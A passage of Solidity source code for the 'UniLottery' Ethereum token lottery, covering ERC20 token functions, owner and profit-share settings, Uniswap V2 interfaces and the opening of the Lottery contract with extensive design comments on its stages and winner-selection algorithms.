function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
//
/**
* The Core Settings contract, which defines the global constants,
* which are used in the pool and related contracts (such as
* OWNER_ADDRESS), and also defines the percentage simulation
* code, to use the same percentage precision across all contracts.
*/
contract CoreUniLotterySettings {
// Percentage calculations.
// As Solidity doesn't have floats, we have to use integers for
// percentage arithmetics.
// We set 1 percent to be equal to 1,000,000 - thus, we
// simulate 6 decimal points when computing percentages.
uint32 public constant PERCENT = 10 ** 6;
uint32 constant BASIS_POINT = PERCENT / 100;
uint32 constant _100PERCENT = 100 * PERCENT;
/** The UniLottery Owner's address.
*
* In the current version, The Owner has rights to:
* - Take up to 10% profit from every lottery.
* - Pool liquidity into the pool and unpool it.
* - Start new Auto-Mode & Manual-Mode lotteries.
* - Set randomness provider gas price & other settings.
*/
// Public Testnets: 0xb13CB9BECcB034392F4c9Db44E23C3Fb5fd5dc63
// MainNet: 0x1Ae51bec001a4fA4E3b06A5AF2e0df33A79c01e2
address payable public constant OWNER_ADDRESS =
address( uint160( 0x1Ae51bec001a4fA4E3b06A5AF2e0df33A79c01e2 ) );
// Maximum lottery fee the owner can imburse on transfers.
uint32 constant MAX_OWNER_LOTTERY_FEE = 1 * PERCENT;
// Minimum amout of profit percentage that must be distributed
// to lottery winners.
uint32 constant MIN_WINNER_PROFIT_SHARE = 40 * PERCENT;
// Min & max profits the owner can take from lottery net profit.
uint32 constant MIN_OWNER_PROFITS = 3 * PERCENT;
uint32 constant MAX_OWNER_PROFITS = 10 * PERCENT;
// Min & max amount of lottery profits that the pool must get.
uint32 constant MIN_POOL_PROFITS = 10 * PERCENT;
uint32 constant MAX_POOL_PROFITS = 60 * PERCENT;
// Maximum lifetime of a lottery - 1 month (4 weeks).
uint32 constant MAX_LOTTERY_LIFETIME = 4 weeks;
// Callback gas requirements for a lottery's ending callback,
// and for the Pool's Scheduled Callback.
// Must be determined empirically.
uint32 constant LOTTERY_RAND_CALLBACK_GAS = 200000;
uint32 constant AUTO_MODE_SCHEDULED_CALLBACK_GAS = 3800431;
}
//
// Uniswap V2 Router Interface.
// Used on the Main-Net, and Public Test-Nets.
interface IUniswapRouter {
// Get Factory and WETH addresses.
function factory() external pure returns (address);
function WETH() external pure returns (address);
// Create/add to a liquidity pair using ETH.
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline )
external
payable
returns (
uint amountToken,
uint amountETH,
uint liquidity
);
// Remove liquidity pair.
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline )
external
returns (
uint amountETH
);
// Get trade output amount, given an input.
function getAmountsOut(
uint amountIn,
address[] memory path )
external view
returns (
uint[] memory amounts
);
// Get trade input amount, given an output.
function getAmountsIn(
uint amountOut,
address[] memory path )
external view
returns (
uint[] memory amounts
);
}
// Uniswap Factory interface.
// We use it only to obtain the Token Exchange Pair address.
interface IUniswapFactory {
function getPair(
address tokenA,
address tokenB )
external view
returns ( address pair );
}
// Uniswap Pair interface (it's also an ERC20 token).
// Used to get reserves, and token price.
interface IUniswapPair is IERC20
{
// Addresses of the first and second pool-kens.
function token0() external view returns (address);
function token1() external view returns (address);
// Get the pair's token pool reserves.
function getReserves()
external view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
//
// implement OpenZeppelin's ERC20 token.
// Use the Uniswap Interfaces.
// Use Core Settings.
// Interface of the Main Pool Contract, with the functions that we'll
// be calling from our contract.
interface IUniLotteryPool {
function lotteryFinish( uint totalReturn, uint profitAmount )
external payable;
}
// The Randomness Provider interface.
interface IRandomnessProvider {
function requestRandomSeedForLotteryFinish() external;
}
/**
* Simple, gas-efficient lottery, which uses Uniswap as liquidity provider,
* and determines the lottery winners through a 3 different approaches
* (explained in detail on EndingAlgoType documentation).
*
* This contract contains all code of the lottery contract, and
* lotteries themselves are just storage-container stubs, which use
* DelegateCall mechanism to execute this actual lottery code on
* their behalf.
*
* Lottery workflow consists of these consecutive stages:
*
* 1. Initialization stage: Main Pool deploys this lottery contract,
* and calls initialize() with initial Ether funds provided.
* Lottery mints initial token supply and provides the liquidity
* to Uniswap, with whole token supply and initial Ether funds.
* Then, lottery becomes Active - trading tokens becomes allowed.
*
* 2. Active Stage: Token transfers occurs on this stage, and
* finish probability is Zero. Our ETH funds in Uniswap increases
* in this stage.
* When certain criteria of holder count and fund gains are met,
* the Finishing stage begins.
*
* 3. Finishing Stage: It can be considered a second part of
* an Active stage, because all token transfers and Uniswap trading
* are still allowed and occur actively.
* However, on this stage, for every transfer, a pseudo-random
* number is rolled, and if that rolled number is below a specific
* threshold, lottery de-activates, and Ending stage begins, when
* token transfers are denied.
* The threshold is determined by Finish Probability, which
* increases on every transfer on this stage.
*
* However, notice that if Finishing Criteria (holder count and
* fund gains) are no-longer met, Finishing Stage pauses, and
* we get back to Active Stage.
*
* 4. Ending-Mining Stage - Step One:
* On this stage, we Remove our contract's liquidity share
* from Uniswap, then transfer the profits to the Pool and
* the Owner addresses.
*
* Then, we call the Randomness Provider, requesting the Random Seed,
* which later should be passed to us by calling our callback
* (finish_randomnessProviderCallback).
*
* Miner, who completes this step, gets portion of Mining Rewards,
* which are a dedicated profit share to miners.
*
* 5. Ending-Mining Stage - Step Two: On this stage, if *
* However, if Randomness Provider hasn't given us a seed after
* specific amount of time, on this step, before starting the
* Winner Selection Algorithm, an Alternative Seed Generation
* is performed, where the pseudo-random seed is generated based
* on data in our and Storage contracts (transfer hash, etc.).
*
* If we're using MinedWinnerSelection ending algorithm type, then
* on this step the miner performs the gas-intensive Winner Selection
* Algorithm, which involves complex score calculations in a loop, and
* then sorting the selected winners array.
*
* Miner who successfully completes this step, gets a portion of
* the Mining Rewards.
*
* 6. Completion Stage (Winner Prize Claiming stage): On this stage,
* the Lottery Winners can finally claim their Lottery Prizes,
* by calling a prize claim function on our contract.
*
* If we're using WinnerSelfValidation ending algorithm, winner
* computes and validates his final score on this function by
* himself, so the prize claim transaction can be gas-costly.
*
* However, is RolledRandomness or MinedWinnerSelection algorithms
* are used, this function is cheap in terms of gas.
*
* However, if some of winners fail to claim their prizes after
* a specific amount of time (specified in config), then those
* prizes can then be claimed by Lottery Main Pool too.
*/
contract Lottery is ERC20, CoreUniLotterySettings
{
// ===================== Events ===================== //
// After initialize() function finishes.
event LotteryInitialized();
// Emitted when lottery active stage ends (Mining Stage starts),
// on Mining Stage Step 1, after transferring profits to their
// respective owners (pool and OWNER_ADDRESS).
event LotteryEnd(
uint128 totalReturn,
uint128 profitAmount
);
// Emitted when on final finish, we call Randomness Provider
// to callback us with random value.
event RandomnessProviderCalled();
// Requirements for finishing stage start have been reached -
// finishing stage has started.
event FinishingStageStarted();
// We were currently on the finishing stage, but some requirement
// is no longer met. We must stop the finishing stage.
event FinishingStageStopped();
// New Referral ID has been generated.
event ReferralIDGenerated(
address referrer,
uint256 id
);
// New referral has been registered with a valid referral ID.
event ReferralRegistered(
address referree,
address referrer,
uint256 id
);
// Fallback funds received.
event FallbackEtherReceiver(
address sender,
uint value
);
// ====================== Structs & Enums ====================== //
// Lottery Stages.
// Described in more detail above, on contract's main doc.
enum STAGE
{
// Initial stage - before the initialize() function is called.
INITIAL,
// Active Stage: On this stage, all token trading occurs.
ACTIVE,
// Finishing stage:
// This is when all finishing criteria are met, and for every
// transfer, we're rolling a pseudo-random number to determine
// if we should end the lottery (move to Ending stage).
FINISHING,
// Ending - Mining Stage:
// This stage starts after we lottery is no longer active,
// finishing stage ends. On this stage, Miners perform the
// Ending Algorithm and other operations.
ENDING_MINING,
// Lottery is completed - this is set after the Mining Stage ends.
// In this stage, Lottery Winners can claim their prizes.
COMPLETION,
// DISABLED stage. Used when we want a lottery contract to be
// absolutely disabled - so no state-modifying functions could
// be called.
// This is used in DelegateCall scenarios, where state-contract
// delegate-calls code contract, to save on deployment costs.
DISABLED
}
// Ending algorithm types enum.
enum EndingAlgoType
{
// 1. Mined Winner Selection Algorithm.
// This algorithm is executed by a Lottery Miner in a single
// transaction, on Mining Step 2.
//
// On that single transaction, all ending scores for all
// holders are computed, and a sorted winner array is formed,
// which is written onto the LotteryStorage state.
// Thus, it's gas expensive, and suitable only for small
// holder numbers (up to 300).
//
// Pros:
// + Guaranteed deterministically specifiable winner prize
// distribution - for example, if we specify that there
// must be 2 winners, of which first gets 60% of prize funds,
// and second gets 40% of prize funds, then it's
// guarateed that prize funds will be distributed just
// like that.
//
// + Low gas cost of prize claims - only ~ 40,000 gas for
// claiming a prize.
//
// Cons:
// - Not scaleable - as the Winner Selection Algorithm is
// executed in a single transaction, it's limited by
// block gas limit - 12,500,000 on the MainNet.
// Thus, the lottery is limited to ~300 holders, and
// max. ~200 winners of those holders.
// So, it's suitable for only express-lotteries, where
// a lottery runs only until ~300 holders are reached.
//
// - High mining costs - if lottery has 300 holders,
// mining transaction takes up whole block gas limit.
//
MinedWinnerSelection,
// 2. Winner Self-Validation Algorithm.
//
// This algorithm does no operations during the Mining Stage
// (except for setting up a Random Seed in Lottery Storage) -
// the winner selection (obtaining a winner rank) is done by
// the winners themselves, when calling the prize claim
// functions.
//
// This algorithm relies on a fact that by the time that
// random seed is obtained, all data needed for winner selection
// is already there - the holder scores of the Active Stage
// (ether contributed, time factors, token balance), and
// the Random Data (random seed + nonce (holder's address)),
// so, there is no need to compute and sort the scores for the
// whole holder array.
//
// It's done like this: the holder checks if he's a winner, using
// a view-function off-chain, and if so, he calls the
// claimWinnerPrize() function, which obtains his winner rank
// on O(n) time, and does no writing to contract states,
// except for prize transfer-related operations.
//
// When computing the winner's rank on LotteryStorage,
// O(n) time is needed, as we loop through the holders array,
// computing ending scores for each holder, using already-known
// data.
// However that means that for every prize claim, all scores of
// all holders must be re-computed.
// Computing a score for a single holder takes roughly 1500 gas
// (400 for 3 slots SLOAD, and ~300 for arithmetic operations).
//
// So, this algorithm makes prize claims more expensive for
// every lottery holder.
// If there's 1000 holders, prize claim takes up 1,500,000 gas,
// so, this algorithm is not suitable for small prizes,
// because gas fee would be higher than the prize amount won.
//
// Pros:
// + Guaranteed deterministically specifiable winner prize
// distribution (same as for algorithm 1).
//
// + No mining costs for winner selection algorithm.
//
// + More scalable than algorithm 1.
//
// Cons:
// - High gas costs of prize claiming, rising with the number
// of lottery holders - 1500 for every lottery holder.
// Thus, suitable for only large prize amounts.
//
WinnerSelfValidation,
// 3. Rolled-Randomness algorithm.
//
// This algorithm is the most cheapest in terms of gas, but
// the winner prize distribution is non-deterministic.
//
// This algorithm doesn't employ miners (no mining costs),
// and doesn't require to compute scores for every holder
// prior to getting a winner's rank, thus is the most scalable.
//
// It works like this: a holder checks his winner status by
// computing only his own randomized score (rolling a random
// number from the random seed, and multiplying it by holder's
// Active Stage score), and computing this randomized-score's
// ratio relative to maximum available randomized score.
// The higher the ratio, the higher the winner rank is.
//
// However, many players can roll very high or low scores, and
// get the same prizes, so it's difficult to make a fair and
// efficient deterministic prize distribution mechanism, so
// we have to fallback to specific heuristic workarounds.
//
// Pros:
// + Scalable: O(1) complexity for computing a winner rank,
// so there can be an unlimited amount of lottery holders,
// and gas costs for winner selection and prize claim would
// still be constant & low.
//
// + Gas-efficient: gas costs for all winner-related operations
// are constant and low, because only single holder's score
// is computed.
//
// + Doesn't require mining - even more gas savings.
//
// Cons:
// + Hard to make a deterministic and fair prize distribution
// mechanism, because of un-known environment - as only
// single holder's score is compared to max-available
// random score, not taking into account other holder
// scores.
//
RolledRandomness
}
/**
* Gas-efficient, minimal config, which specifies only basic,
* most-important and most-used settings.
*/
struct LotteryConfig
{
// ================ Misc Settings =============== //
// --------- Slot --------- //
// Initial lottery funds (initial market cap).
// Specified by pool, and is used to check if initial funds
// transferred to fallback are correct - equal to this value.
uint initialFunds;
// --------- Slot --------- //
// The minimum ETH value of lottery funds, that, once
// reached on an exchange liquidity pool (Uniswap, or our
// contract), must be guaranteed to not shrink below this value.
//
// This is accomplished in _transfer() function, by denying
// all sells that would drop the ETH amount in liquidity pool
// below this value.
//
// But on initial lottery stage, before this minimum requirement
// is reached for the first time, all sells are allowed.
//
// This value is expressed in ETH - total amount of ETH funds
// that we own in Uniswap liquidity pair.
//
// So, if initial funds were 10 ETH, and this is set to 100 ETH,
// after liquidity pool's ETH value reaches 100 ETH, all further
// sells which could drop the liquidity amount below 100 ETH,
// would be denied by require'ing in _transfer() function
// (transactions would be reverted).
//
uint128 fundRequirement_denySells;
// ETH value of our funds that we own in Uniswap Liquidity Pair,
// that's needed to start the Finishing Stage.
uint128 finishCriteria_minFunds;
// --------- Slot --------- //
// Maximum lifetime of a lottery - maximum amount of time
// allowed for lottery to stay active.
// By default, it's two weeks.
// If lottery is still active (hasn't returned funds) after this
// time, lottery will stop on the next token transfer.
uint32 maxLifetime;
// Maximum prize claiming time - for how long the winners
// may be able to claim their prizes after lottery ending.
uint32 prizeClaimTime;
// Token transfer burn rates for buyers, and a default rate for
// sells and non-buy-sell transfers.
uint32 burn_buyerRate;
uint32 burn_defaultRate;
// Maximum amount of tokens (in percentage of initial supply)
// to be allowed to own by a single wallet.
uint32 maxAmountForWallet_percentageOfSupply;
// The required amount of time that must pass after
// the request to Randomness Provider has been made, for
// external actors to be able to initiate alternative
// seed generation algorithm.
uint32 REQUIRED_TIME_WAITING_FOR_RANDOM_SEED;
// ================ Profit Shares =============== //
// "Mined Uniswap Lottery" ending Ether funds, which were obtained
// by removing token liquidity from Uniswap, are transfered to
// these recipient categories:
//
// 1. The Main Pool: Initial funds, plus Pool's profit share.
// 2. The Owner: Owner's profit share.
//
// 3. The Miners: Miner rewards for executing the winner
// selection algorithm stages.
// The more holders there are, the more stages the
// winner selection algorithm must undergo.
// Each Miner, who successfully completed an algorithm
// stage, will get ETH reward equal to:
// (minerProfitShare / totalAlgorithmStages).
//
// 4. The Lottery Winners: All remaining funds are given to
// Lottery Winners, which were determined by executing
// the Winner Selection Algorithm at the end of the lottery
// (Miners executed it).
// The Winners can claim their prizes by calling a
// dedicated function in our contract.
//
// The profit shares of #1 and #2 have controlled value ranges
// specified in CoreUniLotterySettings.
//
// All these shares are expressed as percentages of the
// lottery profit amount (totalReturn - initialFunds).
// Percentages are expressed using the PERCENT constant,
// defined in CoreUniLotterySettings.
//
// Here we specify profit shares of Pool, Owner, and the Miners.
// Winner Prize Fund is all that's left (must be more than 50%
// of all profits).
//
uint32 poolProfitShare;
uint32 ownerProfitShare;
// --------- Slot --------- //
uint32 minerProfitShare;
// =========== Lottery Finish criteria =========== //
// Lottery finish by design is a whole soft stage, that
// starts when criteria for holders and fund gains are met.
// During this stage, for every token transfer, a pseudo-random
// number will be rolled for lottery finish, with increasing
// probability.
//
// There are 2 ways that this probability increase is
// implemented:
// 1. Increasing on every new holder.
// 2. Increasing on every transaction after finish stage
// was initiated.
//
// On every new holder, probability increases more than on
// new transactions.
//
// However, if during this stage some criteria become
// no-longer-met, the finish stage is cancelled.
// This cancel can be implemented by setting finish probability
// to zero, or leaving it as it was, but pausing the finishing
// stage.
// This is controlled by finish_resetProbabilityOnStop flag -
// if not set, probability stays the same, when the finishing
// stage is discontinued.
// ETH value of our funds that we own in Uniswap Liquidity Pair,
// that's needed to start the Finishing Stage.
//
// LOOK ABOVE - arranged for tight-packing.
// Minimum number of token holders required to start the
// finishing stage.
uint32 finishCriteria_minNumberOfHolders;
// Minimum amount of time that lottery must be active.
uint32 finishCriteria_minTimeActive;
// Initial finish probability, when finishing stage was
// just initiated.
uint32 finish_initialProbability;
// Finishing probability increase steps, for every new
// transaction and every new holder.
// If holder number decreases, probability decreases.
uint32 finish_probabilityIncreaseStep_transaction;
uint32 finish_probabilityIncreaseStep_holder;
// =========== Winner selection config =========== //
// Winner selection algorithm settings.
//
// Algorithm is based on score, which is calculated for
// every holder on lottery finish, and is comprised of
// the following parts.
// Each part is normalized to range ( 0 - scorePoints ),
// from smallest to largest value of each holder;
//
// After scores are computed, they are multiplied by
// holder count factor (holderCount / holderCountDivisor),
// and finally, multiplied by safely-generated random values,
// to get end winning scores.
// The top scorers win prizes.
//
// By default setting, max score is 40 points, and it's
// comprised of the following parts:
//
// 1. Ether contributed (when buying from Uniswap or contract).
// Gets added when buying, and subtracted when selling.
// Default: 10 points.
//
// 2. Amount of lottery tokens holder has on finish.
// Default: 5 points.
//
// 3. Ether contributed, multiplied by the relative factor
// of time - that is/*, "block.timestamp" */minus "lotteryStartTime".
// This way, late buyers can get more points even if
// they get little tokens and don't spend much ether.
// Default: 5 points.
//
// 4. Refferrer bonus. For every player that joined with
// your referral ID, you get (that player's score) / 10
// points! This goes up to specified max score.
// Also, every player who provides a valid referral ID,
// gets 2 points for free!
// Default max bonus: 20 points.
//
int16 maxPlayerScore_etherContributed;
int16 maxPlayerScore_tokenHoldingAmount;
int16 maxPlayerScore_timeFactor;
int16 maxPlayerScore_refferalBonus;
// --------- Slot --------- //
// Score-To-Random ration data (as a rational ratio number).
// For example if 1:5, then scorePart = 1, and randPart = 5.
uint16 randRatio_scorePart;
uint16 randRatio_randPart;
// Time factor divisor - interval of time, in seconds, after
// which time factor is increased by one.
uint16 timeFactorDivisor;
// Bonus score a player should get when registering a valid
// referral code obtained from a referrer.
int16 playerScore_referralRegisteringBonus;
// Are we resetting finish probability when finishing stage
// stops, if some criteria are no longer met?
bool finish_resetProbabilityOnStop;
// =========== Winner Prize Fund Settings =========== //
// There are 2 available modes that we can use to distribute
// winnings: a computable sequence (geometrical progression),
// or an array of winner prize fund share percentages.
// More gas efficient is to use a computable sequence,
// where each winner gets a share equal to (factor * fundsLeft).
// Factor is in range [0.01 - 1.00] - simulated as [1% - 100%].
//
// For example:
// Winner prize fund is 100 ethers, Factor is 1/4 (25%), and
// there are 5 winners total (winnerCount), and sequenced winner
// count is 2 (sequencedWinnerCount).
//
// So, we pre-compute the upper shares, till we arrive to the
// sequenced winner count, in a loop:
// - Winner 1: 0.25 * 100 = 25 eth; 100 - 25 = 75 eth left.
// - Winner 2: 0.25 * 75 ~= 19 eth; 75 - 19 = 56 eth left.
//
// Now, we compute the left-over winner shares, which are
// winners that get their prizes from the funds left after the
// sequence winners.
//
// So, we just divide the leftover funds (56 eth), by 3,
// because winnerCount - sequencedWinnerCount = 3.
// - Winner 3 = 56 / 3 = 18 eth;
// - Winner 4 = 56 / 3 = 18 eth;
// - Winner 5 = 56 / 3 = 18 eth;
//
// If this value is 0, then we'll assume that array-mode is
// to be used.
uint32 prizeSequenceFactor;
// Maximum number of winners that the prize sequence can yield,
// plus the leftover winners, which will get equal shares of
// the remainder from the first-prize sequence.
uint16 prizeSequence_winnerCount;
// How many winners would get sequence-computed prizes.
// The left-over winners
// This is needed because prizes in sequence tend to zero, so
// we need to limit the sequence to avoid very small prizes,
// and to avoid the remainder.
uint16 prizeSequence_sequencedWinnerCount;
// Initial token supply (without decimals).
uint48 initialTokenSupply;
// Ending Algorithm type.
// More about the 3 algorithm types above.
uint8 endingAlgoType;
// --------- Slot --------- //
// Array mode: The winner profit share percentages array.
// For example, lottery profits can be distributed this way:
//
// Winner profit shares (8 winners):
// [ 20%, 15%, 10%, 5%, 4%, 3%, 2%, 1% ] = 60% of profits.
// Owner profits: 10%
// Pool profits: 30%
//
// Pool profit share is not defined explicitly in the config, so
// when we internally validate specified profit shares, we
// assume the pool share to be the left amount until 100% ,
// but we also make sure that this amount is at least equal to
// MIN_POOL_PROFITS, defined in CoreSettings.
//
uint32[] winnerProfitShares;
}
// ========================= Constants ========================= //
// The Miner Profits - max/min values.
// These aren't defined in Core Settings, because Miner Profits
// are only specific to this lottery type.
uint32 constant MIN_MINER_PROFITS = 1 * PERCENT;
uint32 constant MAX_MINER_PROFITS = 10 * PERCENT;
// Uniswap Router V2 contract instance.
// Address is the same for MainNet, and all public testnets.
IUniswapRouter constant uniswapRouter = IUniswapRouter(
address( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ) );
// Public-accessible ERC20 token specific constants.
string constant public name = "UniLottery Token";
string constant public symbol = "ULT";
uint256 constant public decimals = 18;
// =================== State Variables =================== //
// ------- Initial Slots ------- //
// The config which is passed to constructor.
LotteryConfig internal cfg;
// ------- Slot ------- //
// The Lottery Storage contract, which stores all holder data,
// such as scores, referral tree data, etc.
LotteryStorage public lotStorage;
// ------- Slot ------- //
// Pool address. Set on constructor from msg.sender.
address payable public poolAddress;
// ------- Slot ------- //
// Randomness Provider address.
address public randomnessProvider;
// ------- Slot ------- //
// Exchange address. In Uniswap mode, it's the Uniswap liquidity
// pair's address, where trades execute.
address public exchangeAddress;
// Start date.
uint32 public startDate;
// Completion (Mining Phase End) date.
uint32 public completionDate;
// The date when Randomness Provider was called, requesting a
// random seed for the lottery finish.
// Also, when this variable becomes Non-Zero, it indicates that we're
// on Ending Stage Part One: waiting for the random seed.
uint32 finish_timeRandomSeedRequested;
// ------- Slot ------- //
// WETH address. Set by calling Router's getter, on constructor.
address WETHaddress;
// Is the WETH first or second token in our Uniswap Pair?
bool uniswap_ethFirst;
// If we are, or were before, on finishing stage, this is the
// probability of lottery going to Ending Stage on this transaction.
uint32 finishProbablity;
// Re-Entrancy Lock (Mutex).
// We protect for reentrancy in the Fund Transfer functions.
bool reEntrancyMutexLocked;
// On which stage we are currently.
uint8 public lotteryStage;
// Indicator for whether the lottery fund gains have passed a
// minimum fund gain requirement.
// After that time point (when this bool is set), the token sells
// which could drop the fund value below the requirement, would
// be denied.
bool fundGainRequirementReached;
// The current step of the Mining Stage.
uint16 miningStep;
// If we're currently on Special Transfer Mode - that is, we allow
// direct transfers between parties even in NON-ACTIVE state.
bool specialTransferModeEnabled;
// ------- Slot ------- //
// Per-Transaction Pseudo-Random hash value (transferHashValue).
// This value is computed on every token transfer, by keccak'ing
// the last (current) transferHashValue, msg.sender, block.timestamp, and
// transaction count.
//
// This is used on Finishing Stage, as a pseudo-random number,
// which is used to check if we should end the lottery (move to
// Ending Stage).
uint256 transferHashValue;
// ------- Slot ------- //
// On lottery end, get & store the lottery total ETH return
// (including initial funds), and profit amount.
uint128 public ending_totalReturn;
uint128 public ending_profitAmount;
// ------- Slot ------- //
// The mapping that contains TRUE for addresses that already claimed
// their lottery winner prizes.
// Used only in COMPLETION, on claimWinnerPrize(), to check if
// msg.sender has already claimed his prize.
mapping( address => bool ) public prizeClaimersAddresses;
// ============= Private/internal functions ============= //
// Pool Only modifier.
modifier poolOnly {
require( msg.sender == poolAddress/*,
"Function can be called only by the pool!" */);
_;
}
// Only randomness provider allowed modifier.
modifier randomnessProviderOnly {
require( msg.sender == randomnessProvider/*,
"Function can be called only by the UniLottery"
" Randomness Provider!" */);
_;
}
// Execute function only on specific lottery stage.
modifier onlyOnStage( STAGE _stage )
{
require( lotteryStage == uint8( _stage )/*,
"Function cannot be called on current stage!" */);
_;
}
// Modifier for protecting the function from re-entrant calls,
// by using a locked Re-Entrancy Lock (Mutex).
modifier mutexLOCKED
{
require( ! reEntrancyMutexLocked/*,
"Re-Entrant Calls are NOT ALLOWED!" */);
reEntrancyMutexLocked = true;
_;
reEntrancyMutexLocked = false;
}
// Check if we're currently on a specific stage.
function onStage( STAGE _stage )
internal view
returns( bool )
{
return ( lotteryStage == uint8( _stage ) );
}
/**
* Check if token transfer to specific wallet won't exceed
* maximum token amount allowed to own by a single wallet.
*
* @return true, if holder's balance with "amount" added,
* would exceed the max allowed single holder's balance
* (by default, that is 5% of total supply).
*/
function transferExceedsMaxBalance(
address holder, uint amount )
internal view
returns( bool )
{
uint maxAllowedBalance =
( totalSupply() * cfg.maxAmountForWallet_percentageOfSupply ) /
( _100PERCENT );
return ( ( balanceOf( holder ) + amount ) > maxAllowedBalance );
}
/**
* Update holder data.
* This function is called by _transfer() function, just before
* transfering final amount of tokens directly from sender to
* receiver.
* At this point, all burns/mints have been done, and we're sure
* that this transfer is valid and must be successful.
*
* In all modes, this function is used to update the holder array.
*
* However, on external exchange modes (e.g. on Uniswap mode),
* it is also used to track buy/sell ether value, to update holder
* scores, when token buys/sells cannot be tracked directly.
*
* If, however, we use Standalone mode, we are the exchange,
* so on _transfer() we already know the ether value, which is
* set to currentBuySellEtherValue variable.
*
* @param amountSent - the token amount that is deducted from
* sender's balance. This includes burn, and owner fee.
*
* @param amountReceived - the token amount that receiver
* actually receives, after burns and fees.
*
* @return holderCountChanged - indicates whether holder count
* changes during this transfer - new holder joins or leaves
* (true), or no change occurs (false).
*/
function updateHolderData_preTransfer(
address sender,
address receiver,
uint256 amountSent,
uint256 amountReceived )
internal
returns( bool holderCountChanged )
{
// Update holder array, if new token holder joined, or if
// a holder transfered his whole balance.
holderCountChanged = false;
// Sender transferred his whole balance - no longer a holder.
if( balanceOf( sender ) == amountSent )
{
lotStorage.removeHolder( sender );
holderCountChanged = true;
}
// Receiver didn't have any tokens before - add it to holders.
if( balanceOf( receiver ) == 0 && amountReceived > 0 )
{
lotStorage.addHolder( receiver );
holderCountChanged = true;
}
// Update holder score factors: if buy/sell occured, update
// etherContributed and timeFactors scores,
// and also propagate the scores through the referral chain
// to the parent referrers (this is done in Storage contract).
// This lottery operates only on external exchange (Uniswap)
// mode, so we have to find out the buy/sell Ether value by
// calling the external exchange (Uniswap pair) contract.
// Temporary variable to store current transfer's buy/sell
// value in Ethers.
int buySellValue;
// Sender is an exchange - buy detected.
if( sender == exchangeAddress && receiver != exchangeAddress )
{
// Use the Router's functionality.
// Set the exchange path to WETH -> ULT
// (ULT is Lottery Token, and it's address is our address).
address[] memory path = new address[]( 2 );
path[ 0 ] = WETHaddress;
path[ 1 ] = address(this);
uint[] memory ethAmountIn = uniswapRouter.getAmountsIn(
amountSent, // uint amountOut,
path // address[] path
);
buySellValue = int( ethAmountIn[ 0 ] );
// Compute time factor value for the current ether value.
// buySellValue is POSITIVE.
// When computing Time Factors, leave only 2 ether decimals.
int timeFactorValue = ( buySellValue / (1 ether / 100) ) *
int( (block.timestamp - startDate) / cfg.timeFactorDivisor );
if( timeFactorValue == 0 )
timeFactorValue = 1;
// Update and propagate the buyer (receiver) scores.
lotStorage.updateAndPropagateScoreChanges(
receiver,
int80( buySellValue ),
int80( timeFactorValue ),
int80( amountReceived ) );
}
// Receiver is an exchange - sell detected.
else if( sender != exchangeAddress && receiver == exchangeAddress )
{
// Use the Router's functionality.
// Set the exchange path to ULT -> WETH
// (ULT is Lottery Token, and it's address is our address).
